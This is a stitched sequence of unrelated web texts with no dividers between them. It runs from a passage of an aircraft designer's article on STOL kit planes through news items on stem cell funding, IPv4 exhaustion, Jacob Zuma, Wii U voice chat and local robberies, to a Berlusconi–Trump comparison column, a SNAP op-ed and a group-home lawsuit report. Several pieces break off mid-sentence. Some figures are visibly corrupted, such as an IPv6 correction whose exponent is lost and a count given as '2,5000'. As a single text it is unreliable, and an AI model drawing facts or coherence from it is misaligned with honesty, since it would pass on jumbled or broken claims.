good visibility to enjoy "low and slow" flying they dont want a small window the same size as in a commercial jetliner. While an open cockpit provides unobstructed visibility, bugs, wind, and cold air all dictate an enclosed cockpit for a modern aircraft - to provide a minimum level of comfort that weve grown accustomed to. An enclosed cabin also allows for good ventilation and heat, and protects avionics and baggage. Large doors provide easy access to the cockpit (and can be removed for better visibility and "ventilation") A high-wing configuration provides the best downward visibility to enjoy the views provided by low and slow flying, and provides the pilot with the required visibility to be able to safely operate into unimproved areas to be able to see and avoid obstacles. With my STOL designs, Ive used an "above-cab" wing position, where the wing is located above the cabin. This design feature maximizes visibility for a high-wing configuration: Horizontal visibility is augmented by raising the wing over the pilots head, and upward visibility is achieved by decreasing the wing thickness at the inboard end where it meets the cabin, and the top of the cabin can thus be fitted with a full window. A skylight provides important visibility to the pilot in a highly maneuverable aircraft.
Figure 15 - Visibility
The tapered wing root and top window provide good visibility in turns. The wing design minimizes the frontal area in the propeller slipstream for increased performance, and also provides direct prop blast to the tail sections for superior controllability in slow flight. The additional benefit of this tapered "above cab" wing configuration chosen for visibility is also its smaller frontal area, which means less drag (a faster airplane with the same amount of power) and excellent controllability at low speeds because the air is directed without disturbance from the propeller to the tail.
Side-by-side seating: Forward Visibility As with most modern aircraft, Ive chosen a side-by-side seating arrangement to maximize pilot and passenger comfort. Throughout, the cabin is ergonomically designed for pilot productivity, comfort and flexibility. The STOL CH 801 cabin interior is designed to provide comfort for four large adults, while being easy to convert for cargo-carrying applications. Large doors on either side allow easy access to the cabin from both sides. The adjustable front seats fold forward for easy access to the rear seats / cargo area. With anticipated applications for mission use, the rear seat area can be converted for cargo use (included 50 gallon drums), or the cabin can be reconfigured for a berth (patient on a stretcher) across the front and back right-hand seats, with the pilot in the front left seat and a doctor or nurse in the left rear seat. Recreational pilots can literally camp out of the STOL CH 801. All-Metal Durability Bush planes need to be rugged, reliable and simple to maintain. "Field maintenance" takes on a new meaning where the pilot literally needs to be able to perform basic maintenance and repair functions in the field. Both the STOL CH 701 and STOL CH 801 are built of all-metal construction. I have over 30 years experience designing and building all-metal aircraft, and there is more than 60 years experience in the industry with stressed-skin, semi-monocoque construction. Far from being obsolete, metal (aluminum alloy) construction continues to dominate as manufacturers choice of construction. Aluminum alloys provide the following benefits: Low weight / high strength relationship;
Corrosion resistance, especially with newer alloys and modern primers;
Low cost and widespread availability;
Proven durability, and resistance to sun and moisture exposure
Existence of vast amounts of empirical data on its properties
Easy to work with: requires simple tools and processes, and does not require a temperature-controlled or dust-free environment, as with composites. Modern blind rivet fasteners have greatly simplified all-metal kit aircraft construction;
Malleability: easy to form into many shapes, with almost no limit to the shapes it can be formed into;
Environmentally friendly: no health hazards to worry about when working with sheet metal; recyclable;
Easy to inspect: construction or materials flaws are easily detected, as are defective parts and damage.
Simple to repair: rivets and fasteners can be easily removed to replace damaged parts or sections, and individual parts can be replaced without having to replace or rework an entire airframe section. Thus, aluminum-alloy construction provides the best airframe for a bush plane: 1) Suitable for continuous outdoor storage; 2) Durable and rugged, and; 3) Easy to inspect, maintain, and perform field maintenance. For example, a simple sheet-metal patch can easily be blind riveted onto a damaged area to fly the airplane home. A well-designed sheet-metal aircraft also provides superior crashworthiness, as an impacts energy is absorbed by progressively collapsing (deforming) the metal structure, as opposed to splintering or shattering upon impact. The landing gear of my STOL aircraft absorbs a lot of energy. It then requires more energy to "rip" it out, and the aluminum stringer frame and stressed-skin construction then need much more energy to start to bend, buckle and twist. The sturdy "cabin frame" will protect the occupants even in an unlikely nose-over of a tricycle gear airplane where the wings, positioned quite a bit higher than the occupants heads, will absorb the impacts energy. Another important advantage often overlooked is the inherent lightning protection that a metal airframe offers. As an aeronautical engineer, its easy for me to design a complicated aircraft, and much more challenging to design a simple one. For a kit aircraft to be successful, it must be relatively simple in terms of construction, assembly and systems: Not only is a simple design easier and more affordable to build, but it will be well-constructed by the amateur builder, as there will be less opportunity for errors or poor workmanship. With a simple design, building time will be lower, and less tools and skills will be needed to put the aircraft together, equating to much higher completion rates than complex projects, and once completed, the aircraft will be easier to operate and maintain. Simple systems maximize reliability, while minimizing pilot workload. With 24 years experience designing and making kit aircraft for amateur builders, weve learned to develop aircraft specifically for the amateur builders and sport pilots, offering them complete kits that are quick and easy to build, with minimal tools and skills. With form following function, my two STOL aircraft designs have an inherent beauty that is more than skin deep once one understands the aerodynamic and construction features that have gone into these designs, making them highly effective short take-off and landing aircraft, while being simple to build and maintain, and providing excellent durability and flexibility. The original STOL CH 701 and the new STOL CH 750 offer excellent off-airport performance in lightweight and very economical two-seat designs that are easy and fun to fly, while the new STOL CH 801 is a true sport utility vehicle, with 1,000 lbs useful load.
Actual photo of a short take-off! As a designer, it is truly rewarding to see how my designs have been put to use around the world, whether for mission or relief work in remote areas, or a recreational pilot writing me that the plane takes off like a cork out of a champagne bottle! Anatomy of a STOL aircraft: Designing a modern short take-off and landing utility airplane.
By Chris Heintz. � Chris Heintz, 1998 - 2009 Related Short Article: STOL Wing Design: Leading Edge Wing Slats or Vortex Generators (VG)? Download and print Adobe Acrobat file of the article. Click here to read other Chris Heintz design articles. Zenith Aircraft Home STOL CH 701 STOL CH 750 STOL CH 801 Search Zenith Aircraft Company
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Comments or questions? Click HereA U.S. appeals court ruled Friday that the Obama administration can use federal funding for embryonic stem cell research, a decision that overturns a judge's order last year and hands the White House a major victory.
In a 2-1 decision, the court said that opponents of taxpayer-funded stem cell research are not likely to succeed in a lawsuit to stop it.
The ruling reversed an opinion last August by U.S. District Judge Royce Lamberth, who said the research likely violates the law against federal funding of embryo destruction.
The 1996 law prohibits the use of taxpayer dollars in work that harms an embryo, so private money has been used to cull batches of the cells. Those batches can reproduce in lab dishes indefinitely, and the Obama administration issued rules permitting taxpayer dollars to be used in work on them.
Stem cell research holds the potential to address some of the most difficult areas in the medical field -- from spinal cord injury to diabetes to Parkinson's, which all have resisted traditional treatment.
But two doctors who do research with adult stem cells, James Sherley of the Boston Biomedical Research Institute and Theresa Deisher of AVM Biotechnology, had argued that the Obama rules will result in increased competition for limited federal funding and will injure their ability to compete successfully for National Institutes of Health stem cell research money.
Scientists say they need to do research with embryonic stem cells as well as so-called adult ones because the former are more flexible, and the National Institutes of Health is funding both types.
The Obama administration expanded the number of stem cell lines created with private money that federally funded scientists could research, up from the 21 that President George W. Bush had allowed to 75 so far. To qualify, the NIH insisted on evidence that the woman or couple who donated the original embryo did so voluntarily and were told of other options, such as donating to another infertile woman.
The Associated Press contributed to this report.Tom Brown said that his 59-year-old pal believes he has “one big job left in him”.
And IMF insiders are thought to consider the former Prime Minister the ideal candidate to take over when France’s Dominique Strauss-Kahn’s term ends in 2012.
Tom Brown said last night: “Gordon’s record would make him first choice. His motive for taking it, or another job like it, would be his ambition to tackle world poverty and his anger at the plight of many millions of people around the world who live on the knife’s edge of bare existence.”
Gordon Brown reportedly turned down a chance to head the organisation several years ago because he wanted to become PM.
He was re-elected in his constituency of Kirkcaldy and Cowdenbeath in the election and will continue to serve as a backbench Labour MP.
Internationally, his reputation remains intact and he is admired for the way he tackled the global banking crisis. An IMF source said: “He is very well regarded.”Ford's plans to roll out two hybrid police vehicles will bring new production — and perhaps renovation — to its venerable assembly plant on Chicago's Southeast Side.
The automaker announced this week that one of two "pursuit-rated" police hybrids will be built at the Torrence Avenue plant, Ford's oldest in continuous operation. The second vehicle will be built elsewhere but will also find its way to Chicago to be "upfitted" for police duty at an adjacent facility.
The new hybrids will be in addition to the existing lines of police vehicles being produced at the plant, according to Ford spokeswoman Kelli Felker. She declined to say when the new vehicles will go into production.
"These electrified versions are incremental to the very successful Ford Police Interceptor sedan and Ford Police Interceptor utility that we offer today," Felker said Thursday. "We'll have more details to share later."
Ford currently builds all of its police vehicles in Chicago. Last year, Ford sold 9,472 Police Interceptor sedans and 32,213 Police Interceptor SUVs, according to Felker.
The Torrence Avenue plant, which churned out Model T's when it opened in 1924, underwent a $400 million modernization in 2004, and began producing the Taurus in 2009. Ford invested another $180 million into the plant in 2010 when production of the Explorer SUV moved to Chicago from Louisville.
The plant produced about 385,000 vehicles in 2016, and employs about 4,200 workers, Felker said.
In November 2015, Ford agreed to invest $900 million into the plant as part of a four-year contract settlement with the United Auto Workers. At the time, Mayor Rahm Emanuel said in a news release that the investment would support production of the current lines and a "new product that will be announced at a later date," as well as add 200 jobs to the plant.
Ford has not begun the new investment into the plant, according to sources.
Chris Pena, president of UAW Local 551, which represents employees at the Torrence Avenue plant, did not return a request for comment Thursday.
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Twitter @RobertChannickEvery computer, phone, and gadget that connects to the Internet has what's called an Internet Protocol address, or IP address—a kind of numerical name tag for every device online. And the Internet is rapidly running out of the most commonly used type of IP address, known as IPv4. Today, the American Registry for Internet Numbers (ARIN), the organization responsible for issuing IP addresses in North America, said that it has run out of freely available IPv4 addresses.
That won't affect normal Internet users, but it will put more pressure on Internet service providers, software companies, and large organizations to accelerate their migration to IPv4's successor, IPv6.
Yes, this news may sound familiar. WIRED reported back in 2011 that the Internet had run out of IP addresses, or more specifically, that an organization called Internet Assigned Numbers Authority (IANA) had run out of IPv4 addresses. Basically, IANA hands out blocks of IP addresses to regional organizations like ARIN and its counterparts around the world. So even after IANA ran out, many IPv4 addressees were still available. But now the regional organizations are running out, as well.
ARIN president John Curran explains that the organization isn't entirely out of IPv4 addresses. Some are set aside for specific purposes, such as the exchange sites where connections between different Internet service providers' networks meet. But providers that want new IP addresses will have to settle for IPv6 numbers unless old, unused IPv4 addresses are returned to the organization. ARIN has a waiting list for companies that want to get their hands on some of these recycled numbers.
Technologists have known for years that we would run out of IPv4 addresses, which is why the IPv6 standard was created in the late 1990s. While IPv4 was limited to just about 4 billion addresses, IPv6 will provide 340 undecillion addresss (a one followed by thirty-six zeroes). That's enough to give 5×1028 addresses to every single person on the planet1. And it's already supported by all major operating systems.
The problem is that IPv4 and IPv6 aren't entirely compatible. If you're on an IPv6 network, you can't browse a site running on a web server that uses only IPv4—such as WIRED's site—without some sort of compatibility layer in between. Fortunately, Internet service providers have been working hard to update their infrastructure and support both standards.
Curran says Internet providers are doing a good job of the transition so far. In fact, most smart phones are already using IPv6, he says, and most people never notice. Just today Comcast, the largest Internet provider in the US, said its entire network now supports both IPv4 and IPv6.
1Correction 9/25/2015 12:00 PM EST: An earlier version said that IPv6 can provide 5×1028 IP addresses to every person on the planet. It's actually 5×1028Media playback is unsupported on your device Media caption President Jacob Zuma addresses the crowds in Cape Town
South Africa's President Jacob Zuma has survived his latest vote of no confidence - despite the ballot being held in secret.
Opposition parties had hoped the secret ballot would mean some MPs from the governing ANC party might side with them against the president.
But the motion, called amid repeated allegations of corruption, was defeated by 198 votes to 177.
This news was greeted with cheers and singing by ANC MPs.
Speaking afterwards, Mr Zuma said he had come to thank his supporters and "those in parliament who had voted correctly".
"They believe they could use technicalities in parliament to take over the the majority from the ANC," he told the assembled crowd.
"It is impossible: they cannot. We represent the majority."
Media playback is unsupported on your device Media caption South African MPs sing and dance in parliament
Mr Zuma has found himself embroiled in a number of scandals since taking office in 2009, including using taxpayer money for upgrades on his private home, and becoming too close to the wealthy Gupta family, who are accused of trying to influence politician decisions.
Both Mr Zuma and the Gupta family deny wrongdoing.
Image copyright Reuters Image caption Pro-Zuma supporters celebrate in Cape Town
Criticism increased following the sacking of the widely-respected finance minister, Pravin Gordhan, in March.
But the ANC parliamentary party did not address these criticisms in a statement following the vote, which it called a "soft coup".
The statement also accused the opposition of attempting "to collapse government, deter service delivery and sow seeds of chaos in society to ultimately grab power".
Media playback is unsupported on your device Media caption The Zuma presidency: Scand
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that suggested the genre’s limits. With the irony drained away, Colbert was less vivid. He had a try-hard earnestness, a damp corporate pall; he was courtly with guests, as if modelling bipartisan behavior. Taking off the mask had made him less visible, not more. Then, gradually, as Donald Trump ascended, Colbert began winning praise. According to the conventional wisdom, the host had grown claws—he had found something to be angry about, at last. Jimmy Fallon’s hair-ruffling sycophancy, on NBC’s “Tonight Show,” was becoming a turnoff. Maybe this was just the news cycle, the ordinary flow of backlash and buzz. Or maybe it was Colbert’s moment. Post-November, he got the ratings to match the hype.
When I caught up recently, it was clear where the excitement was coming from. Certainly, Colbert seems electrified by the political crisis—in his opening monologue, he’s obsessed, as so many of us are, by the latest absurdities out of Washington. Because he’s always been a moralist (with a Southern, Catholic, mad-dad bent), his jokes have an ethical spark. One night, Colbert opened the show with a clip from the Conservative Political Action Conference, in which the President complained that anonymous sources called him a “horrible, horrible human being,” but never to his face. “Sir!” Colbert announced. “It would be my honor to say it to your face.” He moved downstage, toward the camera, and began to mash his face up against the lens. “You, Donald Trump, are a horrible human being.” Then he licked the glass.
Plenty of his gags are keepers. “I’m starting to doubt the effectiveness of Dr. Bannon’s Anti-Muslim Toad Oil,” he pondered, after the health-care bill crashed and burned. And yet even as I watched him throw dart after dart at the swollen targets now available—Russia, Pence, Spicer, golfing, pussy-grabbing—my mind kept drifting. In theory, the current political moment provides a brilliant opportunity for zingers. In practice, we’re living through a glut, in which no joke feels original and few feel sufficient. A repeated sketch called “Leak-Crets,” in which Colbert parodied Deep Throat, was limp. Smutty jokes, about Devin Nunes’s head up Trump’s butt, felt cheap. Attacking Trump isn’t in itself subversive—and there’s a Goldilocks dynamic to the whole endeavor. When Colbert’s jokes make obvious points (about nepotism, say), they feel weightless, but bolder ones (about Putin murdering journalists) feel trivializing. Under an absurdist regime, intensified by the digital landscape—in which few people watch more of a late-night talk show than a “bit” gone viral—all jokes become “takes,” their punch lines interchangeable with CNN headlines, Breitbart clickbait, Facebook memes, and Trump’s own drive-by tweets, which themselves crib gags from “Saturday Night Live.” (“Not!”) Under these conditions, a late-night monologue begins to feel cognitively draining, not unlike political punditry.
Meanwhile, Colbert’s interviews are pleasant but stiff; in the promotion-heavy CBS context, even cerebral decency can harden into a brand. And, though Colbert is gentlemanly rather than bro-ish, his manner with female guests (of which, to his credit, there are many) has odd pings of condescension. “I’m a huge fan of yours, too, ever since I saw you crying in a shower,” he said to Glenn Close, referring to her nude scene in “The Big Chill.” The following week, he told his bandleader, “We’re gonna have Jane Fonda and Lily Tomlin sitting over here.... I have made out with one of them!... Don’t tell my wife.”
The truth is, hosting a late-night network talk show is a bit like planning a wedding. Even if you dress in jeggings and say your vows in Klingon, your anti-wedding is still a wedding: the shape dictates the content. Colbert has grown more confident in his role, and he’s a better option than Fallon: sharper and more grownup, less of a flack and more of a thinker. But that’s a low bar for praise.The Wii U will support in-game voice chat, but you'll be forgiven if you're not sure exactly how that will work. Nintendo hasn't shown an official headset for the Wii U and the Wii U's Pro Controller—the one that looks a lot like an Xbox 360 controller—doesn't even have a port to connect one.
So how does it work?
The new Nintendo console will support in-game voice chat for "select games", a rep for the company tells Kotaku. Among the games supported will be Assassin's Creed III, Call of Duty Black Ops II and Mass Effect 3, all games with significant online multiplayer modes and all which support in-game voice chat on Xbox 360 and PlayStation 3.
The Wii U GamePad—the console's signature twin-stick controller that contains a 6.2-inch screen—contains a microphone and speakers, but that mic does not actually work with the voice chat. Nintendo tells me that users who want to be able to talk to each other can use a licensed stereo headset from Turtle Beach or Mad Catz (Tritton). The headsets plug into the GamePad's headphone jack.
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At least one of the aforementioned games, Black Ops II, supports the Pro Controller, but that controller's lack of a jack will require Pro Controller gamers who want voice chat to do something a bit counterintuitive. They'll have to plug their headset into the GamePad, the controller they are otherwise not using, according to a spokesperson for CoD publisher Activision. That rep believes that gamers might be able to use a standard set of headphones that contain a mic (iPhone headphones, for example) with the GamePad, but that's not something I've been able to clarify yet with Nintendo.
Wired gaming headsets are not uncommon but wireless are popular with a lot of people. It doesn't seem that the Wii U has a wireless headset on the horizon. The Mad Catz headsets are wired. So are the competition's. A spokesperson for Turtle Beach confirmed to me that all of their Wii U headsets are wired, despite the potential for wireless connections. "The Wii U supports Bluetooth and can pair with its own accessories," she said over e-mail, "but the officially licensed headsets we produce and offer are wired and designed for use directly with the [GamePad] tablet."
An E3 demonstration of out-of-game voice-chat on the Wii U implied that users would be able to communicate with each other using the speaker on the Wii U GamePad, no headset needed.
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Nintendo tends to clarify matters like this in slow motion, a volley of an e-mail one day, a reply the next and so on. I've volleyed back to them about the Wii U's potential to support wireless headsets down the line. It seems that such an option might be possible either through a Bluetooth connection or even between a headset and some sort of signal connector plugged into one of the Wii U's USB ports. But those are not the options available now. It's possible—and this is purely speculation—that the wireless connection needs of the Wii U GamePad, which has to receive a lag-free high-quality video signal from the console through thin air, could affect the viability of there being many other wireless connections to the console. We'll see.
As with the launch of any console, there are many mysteries about specific aspects of Wii U gaming. Many will be solved as soon as more gamers, game-makers and peripheral manufacturers get their hands on the console. For now, you've got some basics:
No universal support for in-game voice chat
Game-by-game support for in-game chat
The GamePad mic will not, by default, work as an input for in-game voice chat
The Wii U will support wired headsets (and possibly mic-enabled headphones), but only through the Wii U GamePad
No news yet about whether wireless headsets can or will be supported
[UPDATE] A rep for peripheral-maker PDP says their Afterglow headset, reviewed here, will work the Wii U. It transmits a signal to an emitter plugged into one of the Wii U's USB ports. Without the console and its games being released, we can't confirm that it works with the games mentioned in this story. Hopefully it does!
[UPDATE 2] Well, not so fast.. a second PDP rep contacted me to clarify things further: "Afterglow wireless headsets are compatible with Wii U. If the game chat utilizes the USB port of the Wii U console then the AG headset can receive the chat audio wirelessly. If the chat audio is directed through the 3.5mm audio jack on the Wii U pad then user can plug in the provided chat/game audio cable. It depends on how the game / chat audio is designed." As the story indicated above, Black Ops II does its chat through the 3.5mm jack, so it seems like that's one game that won't work wirelessly with PDP's headset but would be fine with a wired hook-up.in
Two separate robbery incidents involving multiple assailants have been reported in Mississauga.
Around 5:47 p.m., police were called to investigate reports of a robbery in the South Common Centre area at Burnhamthorpe and Glen Erin Drive.
According to police, a male victim was reportedly jumped by two people and robbed. He sustained minor injuries during the incident and has since been taken to local hospital.
Police say that eight to 10 individuals may have been involved.
Around 5:58 p.m., police received another report of a robbery in the same geographic area. Two male victims were reportedly robbed in a skate park in the area, but fortunately no injuries were reported.
It’s possible that up to 10-15 individuals were involved in the second incident.
Police say the suspects were last seen wearing dark clothing. They had their faces covered during both reported robberies.
Police are currently investigating and are in the area with K9 units.
It is possible the incidents are linked, although a connection cannot be confirmed at this time.
Stay safe, everyone.
Photo courtesy of Pascal Marchand - The 4K GuyROME—Think of a prominent male politician with bad hair, bad jokes and lots of money. One who has demonstrated egoism, racism, sexism and homophobia – often at the same time. He has been married multiple times and, for him, women fall into two broad categories: “she’s too ugly to sleep with” and “of course she wants to sleep with me.” Final clue: he has been handily elected to lead Italy three times. No, it’s not Donald Trump, it is Silvio Berlusconi.
Italians have been warning Americans about the glaring similarities between thrice-elected Italian prime minister and the Republican front-runner since shortly after the New York real estate baron entered the political race last year. “Both are loud, vain, cheeky businessmen, amateur politicians and professional womanizers,” Italian political columnist Beppe Severgnini wrote in one of a number of noteworthy comparison columns last fall. “Both have a troubled relation with their egos and their hair. Both think God is their publicist, and twist religion to suit their own ends.”
But “Il Cavaliere” (the Knight) and “The Donald” have much more in common than hefty bank accounts and hairstyle challenges. They also share a “leave-it-to-me” wink wink, nudge nudge political style that plays into voters’ vulnerabilities and fears. Berlusconi first came into power in 1994, when Italians were desperate and wary of politics as usual. The country was licking its wounds after violent internal terrorism during the years of lead followed by the Bribesville scandal and Clean Hands investigation that rocked the establishment, highlighting a culture of bipartisan corruption that sent prime minister Benito Craxi into exile in Tunisia, where he later died without ever serving his prison sentence in Italy.
“Berlusconi came to power at a peculiar point in Italian history,” Michael Day, author of Being Berlusconi: The Rise and Fall From Cosa Nostra to Bunga Bunga told The Daily Beast. “And after a grim decade and a half of industrial strife and terrorist violence stoked by the Cold-War, the public was ready to lap up Berlusconi's hollow promises of a bright new feature. He took his chance brilliantly.”
Berlusconi was a self-made man, taking a relatively small sum of money, which, it must be noted, was of questionable provenance, and turning it into an enviable fortune tied to real estate development. He also owned a popular soccer team, which, to an Italian, equates with having the keys to heaven. Whenever political opponents pressed him on policy matters, he responded with what amounted to bread and circuses, taking a page from ancient Roman emperors who used superficial entertainment as diversions in times of strife. “When a center-left rival challenged Berlusconi over his economic competence during his first election campaign, the TV and football mogul simply responded: ‘How many Intercontinental [soccer] cups have you won?’,” says Day, noting that he then called those very opponents communists for good measure.
Of course the political situation in the United States is far different than it was in Italy in the early 1990s, but Trump is clearly using the same tactics to present himself as a plain-talking anti-establishment candidate who is just like everyone else, fed up with the status quo.
The problem is, like Berlusconi, Trump, whose net worth is a paltry $4.5 billion compared to Berlusconi’s $6.3 billion according to Forbes, is nothing like the people who most support him.
Neither man can possibly relate to the everyday concerns of their constituency, many of whom are under-employed or just wishing for a better minimum wage. Instead they seek to hoodwink desperate dreamers into believing that if they just sign on the dotted line, the riches will be theirs, too. Berlusconi used to quip that all women want to be with him, and all men want to be him. It was partially true. After all, the billionaire media tycoon started his career as a vacuum cleaner salesman and cruise ship crooner whose rags-to-riches success story is only missing the glass slipper.
Putting aside for the moment Berlusconi’s tax evasion and bribery sentences, for which he had to do community service and pay a hefty sum, most everyday Italians cannot fathom the wealth and power that Berlusconi has. By way of example, Berlusconi pays his second ex-wife Veronica Lario $1.5 million a month in alimony—a month!—which his skilled attorneys managed to whittle down from the $3 million monthly support she asked for to support the lifestyle to which she had become accustomed.
Trump got off much easier in his many divorces, opting to settle for lump sums worth many millions rather than the sort of maintenance Berlusconi can easily afford for the rest of his life. These men are super wealthy, spending what some of the voters make in a year on one evening out. Berlsuconi apparently handed out envelopes filled with cash to the young women who attended his bunga-bunga parties as entertainment. And who can forget Trump’s garish admission that he doesn’t need anyone else’s campaign donations because, as he said, “I’m really rich.”
When Berlusconi was running for office, that incredible divide between ‘have and have not’ actually helped him. Many Italians were convinced that he would do for their country what he did for himself. Of course that wasn’t to be, and his multiple court cases including 2,5000 trial dates during his 17-year reign as prime minister ranging from extortion and tax evasion to outright bribery and false accounting, instead proved that he still did for himself at the expense of the country.
Writing in Quartz, Italian journalist Annalisa Minnella brilliantly summed up the bottom line. “Like Trump, Berlusconi consistently seemed too absurd to be true. And yet he was. He won elections again, and again, and again, thriving off any and all attention,” she says. “People didn’t take him or what he said seriously. Then one day we woke up to find our government overrun by criminals, our economy destroyed, and our cultural mores perverted to the extent that the objectification of women was commonplace. There was no more laughing left to do.”
Indeed, Italians stopped laughing a long time ago. Who can forget the vast array of cringe-worthy gaffes by which Berlusconi embarrassed the nation, from calling American president Barack Obama tan, not once but twice, quipping that his wife sunbathed with him because “she’s tan, too.”
And then there was the time he was overheard referring to German chancellor Angela Merkel as “an unfuckable lard ass.” And his bromance with Vladimir Putin and the famous fiasco involving Putin’s bed, a gift from the Russian president on which Berlusconi allegedly bedded a call girl who described the affair in too much detail.
It’s entirely feasible that Trump would take a page out of Berlusconi’s playbook when entertaining heads of state. And why not, when you’ve got multiple mansions at your disposal. Berlusconi famously hosted heads of state at his Sardinian Villa Certosa, including the Czech prime minister who was caught, quite literally with his pants down, in the so-called Skinny Dip scandal.
And who can forget when Cherie Blair described the night she and British prime minister Tony Blair were serenaded by Berlusconi as “the best night of my life.” Whether it was the fake erupting volcano or the fireworks that spelled out “Viva Tony” remain unclear, but Trump might as easily woo foreign heads of state in such spectacular form.
Of course no one knows if a Trump presidency would look anything like a Berlusconi premiership, but if the preview is any indication, it might.
Writing in the Washington Post Italian-Israeli journalist Rula Jebreal says America should take heed. “So it’s now urgent that America learns the lessons taught (and havoc wrought) when Italy’s political and media establishment underestimated Berlusconi,” she says. “They viewed him as a joke, an ignorant buffoon, and he was widely dismissed as a comical figure, unfit to lead a serious country. None of that stopped him.”
And how the mighty fall. Italians remember well the night Berlusconi finally lost his edge. He resigned to street celebrations with Italians throwing coins at his car as he left the presidential palace while a professional choir gathered outside his home to sing “Hallelujah” a cappella. Somehow it was befitting of a fallen king.
America is not Italy, and the person who could be the next president of the United States might not have even entered the race yet. But take note: in Italy, many people who thought the idea of Berlusconi was ‘just crazy enough to work’ quickly learned that instead it was just plain crazy. Let’s hope America doesn’t fall for the same joke.You know when you get a gift that's so amazing, your eyes well up and get a knot in your throat? That's exactly what happened as I was opening gift after awesome gift. Not only did I get fantastic gifts, my secret santa was also thoughtful and included a gift for my cat Deborah. In the box was a sweet (literally and figuratively) reminder of what Christmas is about. It was a beautiful poem about how M&M's can remind you of the birth of Jesus and the awesome things that occurred on that blessed night. Also in the box was an assortment of Supernatural paraphernalia, which I loved. Included were two Sam & Dean engraved bullet jewelry (gorgeous), a red Castiel bracelet (my favorite character and color!!!) and I saved the best for last... A beautifully designed necklace containing Castiel's grace. Sigh. I am overwhelmed by the awesomeness of the gifts. Thank you so much Secret Santa, I wish you nothing but the best this holiday season as you have done nothing less than the best for me. A++++By Natalia Castro
Mandatory spending has gotten out of hand, with programs such as food stamps costing Americans billions, while their recipients rarely give back to the economic growth of the nation. Without entitlement reforms to reign in the growth of this program, it will continue costing the American people without adequately giving back. Entitlements were meant to be temporary safety net, not a permanent situation.
Food stamps, more formally called the Supplemental Nutrition Assistance Program (SNAP), currently serves nearly 43 million Americans at a cost of $40 billion, but the number does not need to be so high, especially considering in 2000 it only served about 17 million people.
The largest jump in enrollment occurred in 2008 when Congress overrode President Bush’s veto to pass the “farm bill”. This legislation expanded the eligibility requirements for SNAP to combat the recession.
From 2009 to 2010 President Obama took action, utilizing the American Recovery and Reinvestment Act of 2009, to expand the benefits of the program significantly. The goal was to increase temporary usage of entitlements such as SNAP; the expanded benefit packages were reduced again in November 2013.
The reality is, programs such as SNAP don’t incentive people to do more, but enable them to do less.
States that passed rules requiring individuals to find a job or participate in a work training program while receiving government benefits, enrollment dropped significantly.
Alabama began implementing the plan in 2017, and from January to May alone the state saw a decline of recipients from 5,538 to 831; an 85 percent drop. Similarly, when select counties in Georgia implemented work requirements, the number of adults receiving benefits dropped by 58 percent.
The people are not being pushed off SNAP and starving, instead they are actually getting jobs and increasing their livelihood; what the program was intended to do.
Maine has led the nation in SNAP reform charge, through work requirements or community service in order to receive benefits. In the first year, SNAP enrollment dropped 14.5 percent. An analysis of a group of 7,000 Mainers who left the SNAP program that year found that total earning increased from $3.85 million in the third quarter of 2014 to $8.24 million in the last quarter of 2015.
Not only did enrollment drop, but also individuals were more economically productive. SNAP is not only an expensive national entitlement program, but it is stifling economic progress on the individual level as well.
Luckily, Louisiana Representative Garret Graves recently introduced the SNAP Reform Act of 2017 to strengthen work requirements for able-bodied adults without dependent children.
While immediate reform is critical, in order to truly end the entitlement culture which programs like SNAP have created, spending cuts must be made. Putting more money into an already inflated program does not guarantee reform and cutting funds is not cruel; it is encouraging individuals to work and historically that is exactly what it does.
With a $20 trillion debt, Americans need to be working and government cannot be spending; food stamps is a great short-term program to assist Americans struggling to get to work, but getting back to work should be encouraged not neglected. The Graves legislation is a major step in the right direction, that has already proven effective and Congress should be eager to take it up.
Natalia Castro is a contributing editor at Americans for Limited GovernmentA series of missteps were made at a Granada Hills group home for adults with developmental disabilities that led to the torturous slaying of a female resident earlier this year, a civil lawsuit claims.
Dawn Marie Ritz, 61, was allegedly stabbed in her bed more than 100 times by another resident who had obtained an unsecured kitchen knife at the Aacres adult residential facility in Granada Hills, according to the complaint filed on behalf of Ritz’s family last week in Los Angeles Superior Court.
The lawsuit, which names the Aacres facility in the 16500 block of Bircher Street, its overseer Embassy Management, LLC and the home’s administrator as defendants, also claimed that the two residents involved had been part of an ongoing dispute for months.
“We look at what happened and it looks completely preventable,” Attorney Gregory L. Johnson of the Johnson Moore law firm, which is representing Ritz’s family in the lawsuit, said Monday by phone. “The rules they needed to follow are so basic and simple for the safety of the residents.”
Neither an executive for Aacres nor a spokeswoman for Embassy Management responded to requests for comment Monday.
RELATED STORY: Special Olympics athlete killed at Granada Hills group home wouldn’t harm a flea, family says
Ritz, a former Special Olympics athlete, was stabbed to death in her bed allegedly by Ravneet Kaur in the early morning hours of May 14, according to Los Angeles police. Kaur, 18, pleaded not guilty to one count of murder in May and faces life in prison if convicted.
Kaur is currently going through the mental health court process to determine whether she is competent to stand trial, according to a spokesman for the L.A. County District Attorney’s office.
The dispute between the two residents began early this year when Kaur attacked Ritz “by hitting her over the head with a cup,” requiring her to get stitches, the complaint states.
While the facility’s administrator reported that incident to the Ritz family, she failed to report it to the California Department of Social Services’ Community Care Licensing, which licenses and regulates such facilities, the lawsuit alleges.
By May, the dispute was still continuing to the point where the facility’s staff was aware of the issue and the potentially dangerous situation brewing. However, they “failed to take affirmative steps” to ensure the argument didn’t escalate – or to adequately monitor the situation to protect both residents from harm, the complaint contends.
RELATED STORY: Fatal stabbing at Granada Hills care facility prompts state investigation
On the morning Ritz was killed, according to the lawsuit, “staff were not awake and/or were not providing adequate supervision of the facility residents to intervene before Ms. Kaur gained access to a knife, which was supposed to be locked at all times, and before Ms. Kaur gained access to Ms. Ritz’s room and began repeatedly stabbing Ms. Ritz.”
The Aacres facility also failed to heed a warning from the state during a pre-licensing visit last year regarding the need to store its knives in a locked closest.
Instead, the facility “continued to store their knives in an unsafe manner setting the stage for the violent murder of Ms. Ritz,” the lawsuit alleges. “This was a completely preventable death.”
The caretaker on duty at the Aacres facility told Los Angeles police that she had locked the cabinet where the knives are stored on the night of the murder as required, but that somehow the suspect was still able to obtain a knife from the kitchen, Los Angeles Police Department Detective Steve Castro has said.
Once Kaur entered Ritz’s room and began stabbing her, the overnight caregiver could not enter the room right away once she heard the victim’s violent screams because it had been locked from the inside. The caregiver was finally able to pry open the door with a fork, authorities said.
RELATED STORY: Woman held after fatal stabbing at Granada Hills group home
The lawsuit, which does not specify the amount plaintiffs are seeking, alleges dependent-adult abuse and neglect as well as wrongful death.
In addition to ensuring knives are locked up and that there are no locks on doors, Ritz’s brother Joseph Phelan of Meridian, Idaho said caregivers need to have the appropriate training and there should be monthly inspections of such facilities “so people don’t become complacent and not do their jobs properly.”
